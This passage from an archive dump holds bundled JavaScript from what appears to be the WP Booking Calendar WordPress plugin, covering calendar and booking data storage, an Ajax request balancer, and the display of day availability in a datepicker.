FDd0I7SUFDakc7RUFDSixDQUFDLENBQUM7QUFDTiIsImlnbm9yZUxpc3QiOltdfQ== wpbc_all.js 0000666 00001533415 15165732543 0006720 0 ustar 00 "use strict"; function _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } /** * ===================================================================================================================== * JavaScript Util Functions ../includes/__js/utils/wpbc_utils.js * ===================================================================================================================== */ /** * Trim strings and array joined with (,) * * @param string_to_trim string / array * @returns string */ function wpbc_trim(string_to_trim) { if (Array.isArray(string_to_trim)) { string_to_trim = string_to_trim.join(','); } if ('string' == typeof string_to_trim) { string_to_trim = string_to_trim.trim(); } return string_to_trim; } /** * Check if element in array * * @param array_here array * @param p_val element to check * @returns {boolean} */ function wpbc_in_array(array_here, p_val) { for (var i = 0, l = array_here.length; i < l; i++) { if (array_here[i] == p_val) { return true; } } return false; } "use strict"; /** * ===================================================================================================================== * includes/__js/wpbc/wpbc.js * ===================================================================================================================== */ /** * Deep Clone of object or array * * @param obj * @returns {any} */ function wpbc_clone_obj(obj) { return JSON.parse(JSON.stringify(obj)); } /** * Main _wpbc JS object */ var _wpbc = function (obj, $) { // Secure parameters for Ajax ------------------------------------------------------------------------------------ var p_secure = obj.security_obj = obj.security_obj || { user_id: 0, nonce: '', locale: '' }; obj.set_secure_param = function (param_key, param_val) { p_secure[param_key] = param_val; }; obj.get_secure_param = function (param_key) { return p_secure[param_key]; }; // Calendars ---------------------------------------------------------------------------------------------------- var p_calendars = obj.calendars_obj = obj.calendars_obj || { // sort : "booking_id", // sort_type : "DESC", // page_num : 1, // page_items_count: 10, // create_date : "", // keyword : "", // source : "" }; /** * Check if calendar for specific booking resource defined :: true | false * * @param {string|int} resource_id * @returns {boolean} */ obj.calendar__is_defined = function (resource_id) { return 'undefined' !== typeof p_calendars['calendar_' + resource_id]; }; /** * Create Calendar initializing * * @param {string|int} resource_id */ obj.calendar__init = function (resource_id) { p_calendars['calendar_' + resource_id] = {}; p_calendars['calendar_' + resource_id]['id'] = resource_id; p_calendars['calendar_' + resource_id]['pending_days_selectable'] = false; }; /** * Check if the type of this property is INT * @param property_name * @returns {boolean} */ obj.calendar__is_prop_int = function (property_name) { //FixIn: 9.9.0.29 var p_calendar_int_properties = ['dynamic__days_min', 'dynamic__days_max', 'fixed__days_num']; var is_include = p_calendar_int_properties.includes(property_name); return is_include; }; /** * Set params for all calendars * * @param {object} calendars_obj Object { calendar_1: {} } * calendar_3: {}, ... } */ obj.calendars_all__set = function (calendars_obj) { p_calendars = calendars_obj; }; /** * Get bookings in all calendars * * @returns {object|{}} */ obj.calendars_all__get = function () { return p_calendars; }; /** * Get calendar object :: { id: 1, … } * * @param {string|int} resource_id '2' * @returns {object|boolean} { id: 2 ,… } */ obj.calendar__get_parameters = function (resource_id) { if (obj.calendar__is_defined(resource_id)) { return p_calendars['calendar_' + resource_id]; } else { return false; } }; /** * Set calendar object :: { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * if calendar object not defined, then it's will be defined and ID set * if calendar exist, then system set as new or overwrite only properties from calendar_property_obj parameter, but other properties will be existed and not overwrite, like 'id' * * @param {string|int} resource_id '2' * @param {object} calendar_property_obj { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } } * @param {boolean} is_complete_overwrite if 'true' (default: 'false'), then only overwrite or add new properties in calendar_property_obj * @returns {*} * * Examples: * * Common usage in PHP: * echo " _wpbc.calendar__set( " .intval( $resource_id ) . ", { 'dates': " . wp_json_encode( $availability_per_days_arr ) . " } );"; */ obj.calendar__set_parameters = function (resource_id, calendar_property_obj) { var is_complete_overwrite = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (!obj.calendar__is_defined(resource_id) || true === is_complete_overwrite) { obj.calendar__init(resource_id); } for (var prop_name in calendar_property_obj) { p_calendars['calendar_' + resource_id][prop_name] = calendar_property_obj[prop_name]; } return p_calendars['calendar_' + resource_id]; }; /** * Set property to calendar * @param resource_id "1" * @param prop_name name of property * @param prop_value value of property * @returns {*} calendar object */ obj.calendar__set_param_value = function (resource_id, prop_name, prop_value) { if (!obj.calendar__is_defined(resource_id)) { obj.calendar__init(resource_id); } p_calendars['calendar_' + resource_id][prop_name] = prop_value; return p_calendars['calendar_' + resource_id]; }; /** * Get calendar property value :: mixed | null * * @param {string|int} resource_id '1' * @param {string} prop_name 'selection_mode' * @returns {*|null} mixed | null */ obj.calendar__get_param_value = function (resource_id, prop_name) { if (obj.calendar__is_defined(resource_id) && 'undefined' !== typeof p_calendars['calendar_' + resource_id][prop_name]) { //FixIn: 9.9.0.29 if (obj.calendar__is_prop_int(prop_name)) { p_calendars['calendar_' + resource_id][prop_name] = parseInt(p_calendars['calendar_' + resource_id][prop_name]); } return p_calendars['calendar_' + resource_id][prop_name]; } return null; // If some property not defined, then null; }; // ----------------------------------------------------------------------------------------------------------------- // Bookings ---------------------------------------------------------------------------------------------------- var p_bookings = obj.bookings_obj = obj.bookings_obj || { // calendar_1: Object { // id: 1 // , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … // } }; /** * Check if bookings for specific booking resource defined :: true | false * * @param {string|int} resource_id * @returns {boolean} */ obj.bookings_in_calendar__is_defined = function (resource_id) { return 'undefined' !== typeof p_bookings['calendar_' + resource_id]; }; /** * Get bookings calendar object :: { id: 1 , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * @param {string|int} resource_id '2' * @returns {object|boolean} { id: 2 , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } */ obj.bookings_in_calendar__get = function (resource_id) { if (obj.bookings_in_calendar__is_defined(resource_id)) { return p_bookings['calendar_' + resource_id]; } else { return false; } }; /** * Set bookings calendar object :: { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * if calendar object not defined, then it's will be defined and ID set * if calendar exist, then system set as new or overwrite only properties from calendar_obj parameter, but other properties will be existed and not overwrite, like 'id' * * @param {string|int} resource_id '2' * @param {object} calendar_obj { dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } } * @returns {*} * * Examples: * * Common usage in PHP: * echo " _wpbc.bookings_in_calendar__set( " .intval( $resource_id ) . ", { 'dates': " . wp_json_encode( $availability_per_days_arr ) . " } );"; */ obj.bookings_in_calendar__set = function (resource_id, calendar_obj) { if (!obj.bookings_in_calendar__is_defined(resource_id)) { p_bookings['calendar_' + resource_id] = {}; p_bookings['calendar_' + resource_id]['id'] = resource_id; } for (var prop_name in calendar_obj) { p_bookings['calendar_' + resource_id][prop_name] = calendar_obj[prop_name]; } return p_bookings['calendar_' + resource_id]; }; // Dates /** * Get bookings data for ALL Dates in calendar :: false | { "2023-07-22": {…}, "2023-07-23": {…}, … } * * @param {string|int} resource_id '1' * @returns {object|boolean} false | Object { "2023-07-24": Object { ['summary']['status_for_day']: "available", day_availability: 1, max_capacity: 1, … } "2023-07-26": Object { ['summary']['status_for_day']: "full_day_booking", ['summary']['status_for_bookings']: "pending", day_availability: 0, … } "2023-07-29": Object { ['summary']['status_for_day']: "resource_availability", day_availability: 0, max_capacity: 1, … } "2023-07-30": {…}, "2023-07-31": {…}, … } */ obj.bookings_in_calendar__get_dates = function (resource_id) { if (obj.bookings_in_calendar__is_defined(resource_id) && 'undefined' !== typeof p_bookings['calendar_' + resource_id]['dates']) { return p_bookings['calendar_' + resource_id]['dates']; } return false; // If some property not defined, then false; }; /** * Set bookings dates in calendar object :: { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * * if calendar object not defined, then it's will be defined and 'id', 'dates' set * if calendar exist, then system add a new or overwrite only dates from dates_obj parameter, * but other dates not from parameter dates_obj will be existed and not overwrite. * * @param {string|int} resource_id '2' * @param {object} dates_obj { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * @param {boolean} is_complete_overwrite if false, then only overwrite or add dates from dates_obj * @returns {*} * * Examples: * _wpbc.bookings_in_calendar__set_dates( resource_id, { "2023-07-21": {…}, "2023-07-22": {…}, … } ); <- overwrite ALL dates * _wpbc.bookings_in_calendar__set_dates( resource_id, { "2023-07-22": {…} }, false ); <- add or overwrite only "2023-07-22": {} * * Common usage in PHP: * echo " _wpbc.bookings_in_calendar__set_dates( " . intval( $resource_id ) . ", " . wp_json_encode( $availability_per_days_arr ) . " ); "; */ obj.bookings_in_calendar__set_dates = function (resource_id, dates_obj) { var is_complete_overwrite = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; if (!obj.bookings_in_calendar__is_defined(resource_id)) { obj.bookings_in_calendar__set(resource_id, { 'dates': {} }); } if ('undefined' === typeof p_bookings['calendar_' + resource_id]['dates']) { p_bookings['calendar_' + resource_id]['dates'] = {}; } if (is_complete_overwrite) { // Complete overwrite all booking dates p_bookings['calendar_' + resource_id]['dates'] = dates_obj; } else { // Add only new or overwrite exist booking dates from parameter. Booking dates not from parameter will be without chnanges for (var prop_name in dates_obj) { p_bookings['calendar_' + resource_id]['dates'][prop_name] = dates_obj[prop_name]; } } return p_bookings['calendar_' + resource_id]; }; /** * Get bookings data for specific date in calendar :: false | { day_availability: 1, ... } * * @param {string|int} resource_id '1' * @param {string} sql_class_day '2023-07-21' * @returns {object|boolean} false | { day_availability: 4 max_capacity: 4 // >= Business Large 2: Object { is_day_unavailable: false, _day_status: "available" } 10: Object { is_day_unavailable: false, _day_status: "available" } // >= Business Large ... 11: Object { is_day_unavailable: false, _day_status: "available" } 12: Object { is_day_unavailable: false, _day_status: "available" } } */ obj.bookings_in_calendar__get_for_date = function (resource_id, sql_class_day) { if (obj.bookings_in_calendar__is_defined(resource_id) && 'undefined' !== typeof p_bookings['calendar_' + resource_id]['dates'] && 'undefined' !== typeof p_bookings['calendar_' + resource_id]['dates'][sql_class_day]) { return p_bookings['calendar_' + resource_id]['dates'][sql_class_day]; } return false; // If some property not defined, then false; }; // Any PARAMS in bookings /** * Set property to booking * @param resource_id "1" * @param prop_name name of property * @param prop_value value of property * @returns {*} booking object */ obj.booking__set_param_value = function (resource_id, prop_name, prop_value) { if (!obj.bookings_in_calendar__is_defined(resource_id)) { p_bookings['calendar_' + resource_id] = {}; p_bookings['calendar_' + resource_id]['id'] = resource_id; } p_bookings['calendar_' + resource_id][prop_name] = prop_value; return p_bookings['calendar_' + resource_id]; }; /** * Get booking property value :: mixed | null * * @param {string|int} resource_id '1' * @param {string} prop_name 'selection_mode' * @returns {*|null} mixed | null */ obj.booking__get_param_value = function (resource_id, prop_name) { if (obj.bookings_in_calendar__is_defined(resource_id) && 'undefined' !== typeof p_bookings['calendar_' + resource_id][prop_name]) { return p_bookings['calendar_' + resource_id][prop_name]; } return null; // If some property not defined, then null; }; /** * Set bookings for all calendars * * @param {object} calendars_obj Object { calendar_1: { id: 1, dates: Object { "2023-07-22": {…}, "2023-07-23": {…}, "2023-07-24": {…}, … } } * calendar_3: {}, ... } */ obj.bookings_in_calendars__set_all = function (calendars_obj) { p_bookings = calendars_obj; }; /** * Get bookings in all calendars * * @returns {object|{}} */ obj.bookings_in_calendars__get_all = function () { return p_bookings; }; // ----------------------------------------------------------------------------------------------------------------- // Seasons ---------------------------------------------------------------------------------------------------- var p_seasons = obj.seasons_obj = obj.seasons_obj || { // calendar_1: Object { // id: 1 // , dates: Object { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … // } }; /** * Add season names for dates in calendar object :: { "2023-07-21": [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ], "2023-07-22": [...], ... } * * * @param {string|int} resource_id '2' * @param {object} dates_obj { "2023-07-21": {…}, "2023-07-22": {…}, "2023-07-23": {…}, … } * @param {boolean} is_complete_overwrite if false, then only add dates from dates_obj * @returns {*} * * Examples: * _wpbc.seasons__set( resource_id, { "2023-07-21": [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ], "2023-07-22": [...], ... } ); */ obj.seasons__set = function (resource_id, dates_obj) { var is_complete_overwrite = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if ('undefined' === typeof p_seasons['calendar_' + resource_id]) { p_seasons['calendar_' + resource_id] = {}; } if (is_complete_overwrite) { // Complete overwrite all season dates p_seasons['calendar_' + resource_id] = dates_obj; } else { // Add only new or overwrite exist booking dates from parameter. Booking dates not from parameter will be without chnanges for (var prop_name in dates_obj) { if ('undefined' === typeof p_seasons['calendar_' + resource_id][prop_name]) { p_seasons['calendar_' + resource_id][prop_name] = []; } for (var season_name_key in dates_obj[prop_name]) { p_seasons['calendar_' + resource_id][prop_name].push(dates_obj[prop_name][season_name_key]); } } } return p_seasons['calendar_' + resource_id]; }; /** * Get bookings data for specific date in calendar :: [] | [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ] * * @param {string|int} resource_id '1' * @param {string} sql_class_day '2023-07-21' * @returns {object|boolean} [] | [ 'wpbc_season_september_2023', 'wpbc_season_september_2024' ] */ obj.seasons__get_for_date = function (resource_id, sql_class_day) { if ('undefined' !== typeof p_seasons['calendar_' + resource_id] && 'undefined' !== typeof p_seasons['calendar_' + resource_id][sql_class_day]) { return p_seasons['calendar_' + resource_id][sql_class_day]; } return []; // If not defined, then []; }; // Other parameters ------------------------------------------------------------------------------------ var p_other = obj.other_obj = obj.other_obj || {}; obj.set_other_param = function (param_key, param_val) { p_other[param_key] = param_val; }; obj.get_other_param = function (param_key) { return p_other[param_key]; }; /** * Get all other params * * @returns {object|{}} */ obj.get_other_param__all = function () { return p_other; }; // Messages ------------------------------------------------------------------------------------ var p_messages = obj.messages_obj = obj.messages_obj || {}; obj.set_message = function (param_key, param_val) { p_messages[param_key] = param_val; }; obj.get_message = function (param_key) { return p_messages[param_key]; }; /** * Get all other params * * @returns {object|{}} */ obj.get_messages__all = function () { return p_messages; }; // ----------------------------------------------------------------------------------------------------------------- return obj; }(_wpbc || {}, jQuery); /** * Extend _wpbc with new methods //FixIn: 9.8.6.2 * * @type {*|{}} * @private */ _wpbc = function (obj, $) { // Load Balancer ----------------------------------------------------------------------------------------------- var p_balancer = obj.balancer_obj = obj.balancer_obj || { 'max_threads': 2, 'in_process': [], 'wait': [] }; /** * Set max parallel request to load * * @param max_threads */ obj.balancer__set_max_threads = function (max_threads) { p_balancer['max_threads'] = max_threads; }; /** * Check if balancer for specific booking resource defined :: true | false * * @param {string|int} resource_id * @returns {boolean} */ obj.balancer__is_defined = function (resource_id) { return 'undefined' !== typeof p_balancer['balancer_' + resource_id]; }; /** * Create balancer initializing * * @param {string|int} resource_id */ obj.balancer__init = function (resource_id, function_name) { var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; var balance_obj = {}; balance_obj['resource_id'] = resource_id; balance_obj['priority'] = 1; balance_obj['function_name'] = function_name; balance_obj['params'] = wpbc_clone_obj(params); if (obj.balancer__is_already_run(resource_id, function_name)) { return 'run'; } if (obj.balancer__is_already_wait(resource_id, function_name)) { return 'wait'; } if (obj.balancer__can_i_run()) { obj.balancer__add_to__run(balance_obj); return 'run'; } else { obj.balancer__add_to__wait(balance_obj); return 'wait'; } }; /** * Can I Run ? * @returns {boolean} */ obj.balancer__can_i_run = function () { return p_balancer['in_process'].length < p_balancer['max_threads']; }; /** * Add to WAIT * @param balance_obj */ obj.balancer__add_to__wait = function (balance_obj) { p_balancer['wait'].push(balance_obj); }; /** * Remove from Wait * * @param resource_id * @param function_name * @returns {*|boolean} */ obj.balancer__remove_from__wait_list = function (resource_id, function_name) { var removed_el = false; if (p_balancer['wait'].length) { //FixIn: 9.8.10.1 for (var i in p_balancer['wait']) { if (resource_id === p_balancer['wait'][i]['resource_id'] && function_name === p_balancer['wait'][i]['function_name']) { removed_el = p_balancer['wait'].splice(i, 1); removed_el = removed_el.pop(); p_balancer['wait'] = p_balancer['wait'].filter(function (v) { return v; }); // Reindex array return removed_el; } } } return removed_el; }; /** * Is already WAIT * * @param resource_id * @param function_name * @returns {boolean} */ obj.balancer__is_already_wait = function (resource_id, function_name) { if (p_balancer['wait'].length) { //FixIn: 9.8.10.1 for (var i in p_balancer['wait']) { if (resource_id === p_balancer['wait'][i]['resource_id'] && function_name === p_balancer['wait'][i]['function_name']) { return true; } } } return false; }; /** * Add to RUN * @param balance_obj */ obj.balancer__add_to__run = function (balance_obj) { p_balancer['in_process'].push(balance_obj); }; /** * Remove from RUN list * * @param resource_id * @param function_name * @returns {*|boolean} */ obj.balancer__remove_from__run_list = function (resource_id, function_name) { var removed_el = false; if (p_balancer['in_process'].length) { //FixIn: 9.8.10.1 for (var i in p_balancer['in_process']) { if (resource_id === p_balancer['in_process'][i]['resource_id'] && function_name === p_balancer['in_process'][i]['function_name']) { removed_el = p_balancer['in_process'].splice(i, 1); removed_el = removed_el.pop(); p_balancer['in_process'] = p_balancer['in_process'].filter(function (v) { return v; }); // Reindex array return removed_el; } } } return removed_el; }; /** * Is already RUN * * @param resource_id * @param function_name * @returns {boolean} */ obj.balancer__is_already_run = function (resource_id, function_name) { if (p_balancer['in_process'].length) { //FixIn: 9.8.10.1 for (var i in p_balancer['in_process']) { if (resource_id === p_balancer['in_process'][i]['resource_id'] && function_name === p_balancer['in_process'][i]['function_name']) { return true; } } } return false; }; obj.balancer__run_next = function () { // Get 1st from Wait list var removed_el = false; if (p_balancer['wait'].length) { //FixIn: 9.8.10.1 for (var i in p_balancer['wait']) { removed_el = obj.balancer__remove_from__wait_list(p_balancer['wait'][i]['resource_id'], p_balancer['wait'][i]['function_name']); break; } } if (false !== removed_el) { // Run obj.balancer__run(removed_el); } }; /** * Run * @param balance_obj */ obj.balancer__run = function (balance_obj) { switch (balance_obj['function_name']) { case 'wpbc_calendar__load_data__ajx': // Add to run list obj.balancer__add_to__run(balance_obj); wpbc_calendar__load_data__ajx(balance_obj['params']); break; default: } }; return obj; }(_wpbc || {}, jQuery); /** * -- Help functions ---------------------------------------------------------------------------------------------- */ function wpbc_balancer__is_wait(params, function_name) { //console.log('::wpbc_balancer__is_wait',params , function_name ); if ('undefined' !== typeof params['resource_id']) { var balancer_status = _wpbc.balancer__init(params['resource_id'], function_name, params); return 'wait' === balancer_status; } return false; } function wpbc_balancer__completed(resource_id, function_name) { //console.log('::wpbc_balancer__completed',resource_id , function_name ); _wpbc.balancer__remove_from__run_list(resource_id, function_name); _wpbc.balancer__run_next(); } /** * ===================================================================================================================== * includes/__js/cal/wpbc_cal.js * ===================================================================================================================== */ /** * Order or child booking resources saved here: _wpbc.booking__get_param_value( resource_id, 'resources_id_arr__in_dates' ) [2,10,12,11] */ /** * How to check booked times on specific date: ? * _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21'); console.log( _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[2].booked_time_slots.merged_seconds, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[10].booked_time_slots.merged_seconds, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[11].booked_time_slots.merged_seconds, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[12].booked_time_slots.merged_seconds ); * OR console.log( _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[2].booked_time_slots.merged_readable, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[10].booked_time_slots.merged_readable, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[11].booked_time_slots.merged_readable, _wpbc.bookings_in_calendar__get_for_date(2,'2023-08-21')[12].booked_time_slots.merged_readable ); * */ /** * Days selection: * wpbc_calendar__unselect_all_dates( resource_id ); * * var resource_id = 1; * Example 1: var num_selected_days = wpbc_auto_select_dates_in_calendar( resource_id, '2024-05-15', '2024-05-25' ); * Example 2: var num_selected_days = wpbc_auto_select_dates_in_calendar( resource_id, ['2024-05-09','2024-05-19','2024-05-25'] ); * */ /** * C A L E N D A R --------------------------------------------------------------------------------------------------- */ /** * Show WPBC Calendar * * @param resource_id - resource ID * @returns {boolean} */ function wpbc_calendar_show(resource_id) { // If no calendar HTML tag, then exit if (0 === jQuery('#calendar_booking' + resource_id).length) { return false; } // If the calendar with the same Booking resource is activated already, then exit. if (true === jQuery('#calendar_booking' + resource_id).hasClass('hasDatepick')) { return false; } // ----------------------------------------------------------------------------------------------------------------- // Days selection // ----------------------------------------------------------------------------------------------------------------- var local__is_range_select = false; var local__multi_days_select_num = 365; // multiple | fixed if ('dynamic' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { local__is_range_select = true; local__multi_days_select_num = 0; } if ('single' === _wpbc.calendar__get_param_value(resource_id, 'days_select_mode')) { local__multi_days_select_num = 0; } // ----------------------------------------------------------------------------------------------------------------- // Min - Max days to scroll/show // ----------------------------------------------------------------------------------------------------------------- var local__min_date = 0; local__min_date = new Date(_wpbc.get_other_param('today_arr')[0], parseInt(_wpbc.get_other_param('today_arr')[1]) - 1, _wpbc.get_other_param('today_arr')[2], 0, 0, 0); //FixIn: 9.9.0.17 //console.log( local__min_date ); var local__max_date = _wpbc.calendar__get_param_value(resource_id, 'booking_max_monthes_in_calendar'); //local__max_date = new Date(2024, 5, 28); It is here issue of not selectable dates, but some dates showing in calendar as available, but we can not select it. //// Define last day in calendar (as a last day of month (and not date, which is related to actual 'Today' date). //// E.g. if today is 2023-09-25, and we set 'Number of months to scroll' as 5 months, then last day will be 2024-02-29 and not the 2024-02-25. // var cal_last_day_in_month = jQuery.datepick._determineDate( null, local__max_date, new Date() ); // cal_last_day_in_month = new Date( cal_last_day_in_month.getFullYear(), cal_last_day_in_month.getMonth() + 1, 0 ); // local__max_date = cal_last_day_in_month; //FixIn: 10.0.0.26 if (location.href.indexOf('page=wpbc-new') != -1 && location.href.indexOf('booking_hash') != -1 // Comment this line for ability to add booking in past days at Booking > Add booking page. ) { local__min_date = null; local__max_date = null; } var local__start_weekday = _wpbc.calendar__get_param_value(resource_id, 'booking_start_day_weeek'); var local__number_of_months = parseInt(_wpbc.calendar__get_param_value(resource_id, 'calendar_number_of_months')); jQuery('#calendar_booking' + resource_id).text(''); // Remove all HTML in calendar tag // ----------------------------------------------------------------------------------------------------------------- // Show calendar // ----------------------------------------------------------------------------------------------------------------- jQuery('#calendar_booking' + resource_id).datepick({ beforeShowDay: function beforeShowDay(js_date) { return wpbc__calendar__apply_css_to_days(js_date, { 'resource_id': resource_id }, this); }, onSelect: function onSelect(string_dates, js_dates_arr) { /** * string_dates = '23.08.2023 - 26.08.2023' | '23.08.2023 - 23.08.2023' | '19.09.2023, 24.08.2023, 30.09.2023' * js_dates_arr = range: [ Date (Aug 23 2023), Date (Aug 25 2023)] | multiple: [ Date(Oct 24 2023), Date(Oct 20 2023), Date(Oct 16 2023) ] */ return wpbc__calendar__on_select_days(string_dates, { 'resource_id': resource_id }, this); }, onHover: function onHover(string_date, js_date) { return wpbc__calendar__on_hover_days(string_date, js_date, { 'resource_id': resource_id }, this); }, onChangeMonthYear: function onChangeMonthYear(year, real_month, js_date__1st_day_in_month) {}, showOn: 'both', numberOfMonths: local__number_of_months, stepMonths: 1, prevText: '«', nextText: '»', dateFormat: 'dd.mm.yy', changeMonth: false, changeYear: false, minDate: local__min_date, maxDate: local__max_date, // '1Y', // minDate: new Date(2020, 2, 1), maxDate: new Date(2020, 9, 31), // Ability to set any start and end date in calendar showStatus: false, multiSeparator: ', ', closeAtTop: false, firstDay: local__start_weekday, gotoCurrent: false, hideIfNoPrevNext: true, multiSelect: local__multi_days_select_num, rangeSelect: local__is_range_select, // showWeeks: true, useThemeRoller: false }); // ----------------------------------------------------------------------------------------------------------------- // Clear today date highlighting // ----------------------------------------------------------------------------------------------------------------- setTimeout(function () { wpbc_calendars__clear_days_highlighting(resource_id); }, 500); //FixIn: 7.1.2.8 // ----------------------------------------------------------------------------------------------------------------- // Scroll calendar to specific month // ----------------------------------------------------------------------------------------------------------------- var start_bk_month = _wpbc.calendar__get_param_value(resource_id, 'calendar_scroll_to'); if (false !== start_bk_month) { wpbc_calendar__scroll_to(resource_id, start_bk_month[0], start_bk_month[1]); } } /** * Apply CSS to calendar date cells * * @param date - JavaScript Date Obj: Mon Dec 11 2023 00:00:00 GMT+0200 (Eastern European Standard Time) * @param calendar_params_arr - Calendar Settings Object: { * "resource_id": 4 * } * @param datepick_this - this of datepick Obj * @returns {(*|string)[]|(boolean|string)[]} - [ {true -available | false - unavailable}, 'CSS classes for calendar day cell' ] */ function wpbc__calendar__apply_css_to_days(date, calendar_params_arr, datepick_this) { var today_date = new Date(_wpbc.get_other_param('today_arr')[0], parseInt(_wpbc.get_other_param('today_arr')[1]) - 1, _wpbc.get_other_param('today_arr')[2], 0, 0, 0); // Today JS_Date_Obj. var class_day = wpbc__get__td_class_date(date); // '1-9-2023' var sql_class_day = wpbc__get__sql_class_date(date); // '2023-01-09' var resource_id = 'undefined' !== typeof calendar_params_arr['resource_id'] ? calendar_params_arr['resource_id'] : '1'; // '1' // Get Data -------------------------------------------------------------------------------------------------------- var date_bookings_obj = _wpbc.bookings_in_calendar__get_for_date(resource_id, sql_class_day); // Array with CSS classes for date --------------------------------------------------------------------------------- var css_classes__for_date = []; css_classes__for_date.push('sql_date_' + sql_class_day); // 'sql_date_2023-07-21' css_classes__for_date.push('cal4date-' + class_day); // 'cal4date-7-21-2023' css_classes__for_date.push('wpbc_weekday_' + date.getDay()); // 'wpbc_weekday_4' var is_day_selectable = false; // If something not defined, then this date closed --------------------------------------------------------------- if (false === date_bookings_obj) { css_classes__for_date.push('date_user_unavailable'); return [is_day_selectable, css_classes__for_date.join(' ')]; } // ----------------------------------------------------------------------------------------------------------------- // date_bookings_obj - Defined. Dates can be selectable. // ----------------------------------------------------------------------------------------------------------------- // ----------------------------------------------------------------------------------------------------------------- // Add season names to the day CSS classes -- it is required for correct work of conditional fields -------------- var season_names_arr = _wpbc.seasons__get_for_date(resource_id, sql_class_day); for (var season_key in season_names_arr) { css_classes__for_date.push(season_names_arr[season_key]); // 'wpdevbk_season_september_2023' } // ----------------------------------------------------------------------------------------------------------------- // Cost Rate ------------------------------------------------------------------------------------------------------- css_classes__for_date.push('rate_' + date_bookings_obj[resource_id]['date_cost_rate'].toString().replace(/[\.\s]/g, '_')); // 'rate_99_00' -> 99.00 if (parseInt(date_bookings_obj['day_availability']) > 0) { is_day_selectable = true; css_classes__for_date.push('date_available'); css_classes__for_date.push('reserved_days_count' + parseInt(date_bookings_obj['max_capacity'] - date_bookings_obj['day_availability'])); } else { is_day_selectable = false; css_classes__for_date.push('date_user_unavailable'); } switch (date_bookings_obj['summary']['status_for_day']) { case 'available': break; case 'time_slots_booking': css_classes__for_date.push('timespartly', 'times_clock'); break; case 'full_day_booking': css_classes__for_date.push('full_day_booking'); break; case 'season_filter': css_classes__for_date.push('date_user_unavailable', 'season_unavailable'); date_bookings_obj['summary']['status_for_bookings'] = ''; // Reset booking status color for possible old bookings on this date break; case 'resource_availability': css_classes__for_date.push('date_user_unavailable', 'resource_unavailable'); date_bookings_obj['summary']['status_for_bookings'] = ''; // Reset booking status color for possible old bookings on this date break; case 'weekday_unavailable': css_classes__for_date.push('date_user_unavailable', 'weekday_unavailable'); date_bookings_obj['summary']['status_for_bookings'] = ''; // Reset booking status color for possible old bookings on this date break; case 'from_today_unavailable': css_classes__for_date.push('date_user_unavailable', 'from_today_unavailable'); date_bookings_obj['summary']['status_for_bookings'] = ''; // Reset booking status color for possible old bookings on this date break; case 'limit_available_from_today': css_classes__for_date.push('date_user_unavailable', 'limit_available_from_today'); date_bookings_obj['summary']['status_for_bookings'] = ''; // Reset booking status color for possible old bookings on this date break; case 'change_over': /* * // check_out_time_date2approve check_in_time_date2approve // check_out_time_date2approve check_in_time_date_approved // check_in_time_date2approve check_out_time_date_approved // check_out_time_date_approved check_in_time_date_approved */ css_classes__for_date.push('timespartly', 'check_in_time', 'check_out_time'); //FixIn: 10.0.0.2 if (date_bookings_obj['summary']['status_for_bookings'].indexOf('approved_pending') > -1) { css_classes__for_date.push('check_out_time_date_approved', 'check_in_time_date2approve'); } if (date_bookings_obj['summary']['status_for_bookings'].indexOf('pending_approved') > -1) { css_classes__for_date.push('check_out_time_date2approve', 'check_in_time_date_approved'); } break; case 'check_in': css_classes__for_date.push('timespartly', 'check_in_time'); //FixIn: 9.9.0.33 if (date_bookings_obj['summary']['status_for_bookings'].indexOf('pending') > -1) { css_classes__for_date.push('check_in_time_date2approve'); } else if (date_bookings_obj['summary']['status_for_bookings'].indexOf('approved') > -1) { css_classes__for_date.push('check_in_time_date_approved'); } break; case 'check_out': css_classes__for_date.push('timespartly', 'check_out_time'); //FixIn: 9.9.0.33 if (date_bookings_obj['summary']['status_for_bookings'].indexOf('pending') > -1) { css_classes__for_date.push('check_out_time_date2approve'); } else if (date_bookings_obj['summary']['status_for_bookings'].indexOf('approved') > -1) { css_classes__for_date.push('check_out_time_date_approved'); } break; default: // mixed statuses: 'change_over check_out' .... variations.... check more in function wpbc_get_availability_per_days_arr() date_bookings_obj['summary']['status_for_day'] = 'available'; } if ('available' != date_bookings_obj['summary']['status_for_day']) { var is_set_pending_days_selectable = _wpbc.calendar__get_param_value(resource_id, 'pending_days_selectable'); // set pending days selectable //FixIn: 8.6.1.18 switch (date_bookings_obj['summary']['status_for_bookings']) { case '': // Usually it's means that day is available or unavailable without the bookings break; case 'pending': css_classes__for_date.push('date2approve'); is_day_selectable = is_day_selectable ? true : is_set_pending_days_selectable; break; case 'approved': css_classes__for_date.push('date_approved'); break; // Situations for "change-over" days: 